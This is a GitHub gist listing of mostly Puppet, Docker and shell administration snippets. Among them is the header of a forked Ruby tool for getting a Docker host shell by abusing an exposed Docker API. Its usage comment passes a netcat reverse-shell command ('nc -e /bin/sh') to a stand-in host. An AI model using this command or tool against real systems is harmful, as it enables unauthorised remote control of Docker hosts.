Skip to content

Instantly share code, notes, and snippets.

@GeoffWilliams
GeoffWilliams / check_csr.sh
Created April 12, 2015 16:03
policy based autosigning with puppet
#!/bin/bash
# define the shared secret we will accept to authenticate identity
SHARED_SECRET="your the best"
# capture the certname (hostname) used for the request
CERT_NAME=$1
# feed STDIN (file descriptor 0) to the openssl command and pipe
# the output to grep to get the sharedSecret supplied by the agent
# capturing the value in a variable called AGENT_SECRET
@GeoffWilliams
GeoffWilliams / publish_graph.sh
Created May 27, 2015 22:49
Install an apache web server and graphviz, then do a puppet apply and graph the results (assumes a class called ordering::mysql in the node graph)
#!/bin/bash
PUBDIR=$1
FINAL_DIR="/var/www/html/${PUBDIR}"
GRAPH_DIR="/var/opt/lib/pe-puppet/state/graphs/"
puppet apply -e "package {['httpd','graphviz']: ensure => present, }
service { 'httpd': ensure => 'running', }"
echo "publishing to $FINAL_DIR"
mkdir -p $FINAL_DIR
puppet apply --graph -e 'include ordering::mysql' && \
cd $GRAPH_DIR
@GeoffWilliams
GeoffWilliams / refresh_classes.sh
Created July 1, 2015 04:41
Refresh known classes in puppet using the NC API
#!/bin/bash
#
# This script will force a refresh of the classes available to use in the
# PE Node Classifier. This enables us to classify immediately, rather than
# waiting for the cache to expire.
#
# refresh_classes.sh
#
if [ "$#" -ne 0 ]
@GeoffWilliams
GeoffWilliams / docker_bash_command
Last active March 22, 2019 11:26
Copy and paste into your .bashrc file to give a new docker subcommand 'docker bash'
docker() {
if [[ "$1" == "shell" ]]; then
if [[ "$2" == "" ]]; then
echo "usage: docker shell CONTAINER_ID"
else
command docker exec -ti $2 bash||sh
fi
else
command docker "$@"
fi
@GeoffWilliams
GeoffWilliams / node_classifier.sh
Last active October 20, 2015 06:36
node classifier on master script - how to talk to the NC api
curl -X POST \
https://$(facter fqdn):4433/classifier-api/v1/groups \
--cert /etc/puppetlabs/puppet/ssl/certs/$(facter fqdn).pem \
--key /etc/puppetlabs/puppet/ssl/private_keys/$(facter fqdn).pem \
--cacert /etc/puppetlabs/puppet/ssl/certs/ca.pem \
-H "Content-Type: application/json"
-d @data.json
@GeoffWilliams
GeoffWilliams / debuild_ubuntu_debian_package
Created November 5, 2015 10:40
Command to run to build debian packages on ubuntu, fixes bad-distribution-in-changes error, needed for the steps to patch a debian package listed at https://raphaelhertzog.com/2011/07/04/how-to-prepare-patches-for-debian-packages/
# How to run debuild with lintian on ubuntu
# fixes error: bad-distribution-in-changes-file unstable
# Finished running lintian.
debuild -us -uc --lintian-opts --profile debian
@GeoffWilliams
GeoffWilliams / Vagrantfile
Created November 8, 2015 06:29
Vagrant Laptop provisioner code
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure(2) do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
@GeoffWilliams
GeoffWilliams / docker_get_host_shell.rb
Created November 20, 2015 10:08 — forked from kost/docker_get_host_shell.rb
Get Docker Host Shell abusing Docker API
#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
#
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
#
@GeoffWilliams
GeoffWilliams / puppet_classify.rb
Created January 28, 2016 03:25
classify local puppetmaster with pe_repo and have agent specified group match all nodes
#!/opt/puppetlabs/puppet/bin/ruby
# Use the puppetclassify gem to add the pe_repo::platform classes to the master.
# See https://github.com/puppetlabs/puppet-classify
require 'puppetclassify'
##############################################################################################
#
# Support Function Definition
#
@GeoffWilliams
GeoffWilliams / catalog_nonutf8_finder.py
Last active January 24, 2017 22:47
find byte ofsetts (decimal) in a catalogue that have non-utf8 bytes, for later viewing in a hex editor
filename = "catalog.bad"
i = 0
with open(filename, 'rb') as f:
while 1:
byte_s = f.read(1)
if not byte_s:
break
try:
u = unicode(byte_s, "utf-8")